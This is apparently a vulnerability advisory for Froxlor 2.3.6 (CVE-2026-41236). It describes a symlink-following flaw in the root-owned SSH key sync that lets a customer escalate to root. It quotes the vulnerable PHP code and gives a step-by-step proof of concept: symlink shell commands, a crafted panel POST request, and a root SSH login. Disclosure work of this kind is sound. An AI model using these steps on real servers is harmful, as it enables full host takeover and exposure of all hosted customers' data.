PT-2026-44907 · Packagist · Froxlor/Froxlor

Published

2026-05-29

·

Updated

2026-05-29

·

CVE-2026-41236

CVSS v3.1

8.8

High

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

Froxlor 2.3.6 contains a symlink-following flaw in the root-owned SSH key synchronization path used for customer FTP users. The provisioning code appends public keys to ~/.ssh/authorized keys under a customer-controlled home directory without verifying that the target path is not a symbolic link.
If an attacker controls a shell-enabled customer account and can modify files inside the assigned home directory, the attacker can replace ~/.ssh/authorized keys with a symlink to /root/.ssh/authorized keys. When Froxlor's privileged cron task later synchronizes SSH keys, it appends the attacker-supplied key into root's authorized key file, resulting in root SSH access.

Details

The customer-facing SSH key workflow accepts an FTP user selection and an arbitrary public key from the authenticated session and forwards them into SshKeys::add():
// customer ftp.php:251-253
if ($action == 'add' && Request::post('send') == 'send') {
  $result = $log->logAction(USR ACTION, LOG INFO, "added SSH-key");
  Commands::get()->apiCall('SshKeys.add', Request::postAll());
}
On the server side, the add handler stores the public key and schedules an NSS rebuild as long as the customer has shell capability enabled at the customer level:
// lib/Froxlor/Api/Commands/SshKeys.php:67-70,120-145
if ($this->getUserDetail('shell allowed') != '1') {
  throw new Exception("You cannot add SSH keys because shell access is disabled for your account.");
}

$ins stmt = Database::prepare("
  INSERT INTO `" . TABLE PANEL CUSTOMERS SSH ."`.
");
Settings::AddTask('rebuildnssusers');
Later, a root-owned cron path enters SshKeys::generateFiles() and derives the target path by simple string concatenation:
// lib/Froxlor/Cron/System/SshKeys.php:52-64
$sshdir = FileDir::makeCorrectDir($userinfo['homedir'] . '/.ssh');
$authkeysfile = FileDir::makeCorrectFile($sshdir . '/authorized keys');
if (!file exists($authkeysfile)) {
  touch($authkeysfile);
}
The helper used here only normalizes the path string and does not resolve or reject symlinks:
// lib/Froxlor/FileDir.php:376-392
public static function makeCorrectFile(string $file): string
{
  $file = str replace('//', '/', $file);
  $file = str replace('', '', $file);
  return $file;
}
The root-owned sync code then appends attacker-controlled SSH key material to the derived path:
// lib/Froxlor/Cron/System/SshKeys.php:94-103
file put contents($authkeysfile, $userinfo['ssh-rsa'] . "
", FILE APPEND | LOCK EX);
chown($authkeysfile, $userinfo['uid']);
chgrp($authkeysfile, $userinfo['gid']);
Because Froxlor also grants the customer ownership of the home directory tree during account provisioning, the attacker can place a symbolic link at ~/.ssh/authorized keys before the privileged synchronization step runs.

PoC

An attacker needs an authenticated customer account with shell-enabled home-directory control. That prerequisite may exist by normal configuration, or it may be obtained first through the separate FTP shell-assignment authorization bypass described in the companion report.
Relevant runtime prerequisites:
  • the attacker controls a customer-owned home directory on the target host
  • the attacking customer has shell allowed=1
  • the attacker can submit SSH keys through the Froxlor panel
  • Froxlor's master cron runs with the intended root privileges
Complete PoC flow:
  1. Obtain shell access as the customer-owned account and prepare a symlink in the home directory:
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized keys
ln -s /root/.ssh/authorized keys ~/.ssh/authorized keys
  1. From an authenticated Froxlor customer session, submit a new SSH public key for the relevant FTP user:
POST /customer ftp.php?page=sshkeys&action=add HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Cookie: <authenticated customer session>

csrf token=VALID CSRF TOKEN&
send=send&
description=poc&
ftpuser=17&
ssh pubkey=ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB attacker@host
  1. Wait for Froxlor's master cron to process the queued REBUILD NSSUSERS task.
  2. Use the corresponding private key to authenticate as root:
ssh -i id ed25519 root@target.example
Result:
  • the root-owned cron task follows the symlinked authorized keys path
  • the submitted public key is appended to /root/.ssh/authorized keys
  • SSH access as root succeeds with the attacker's key pair

Impact

This is a direct customer-to-root privilege escalation on the managed host. A successful attacker can obtain full operating-system control, read or modify all hosted customer data, persist at the highest privilege level, and tamper with every service administered by the server.

Fix

Link Following

Weakness Enumeration

Related Identifiers

CVE-2026-41236
GHSA-MQ5V-PXPM-8JW2

Affected Products

Froxlor/Froxlor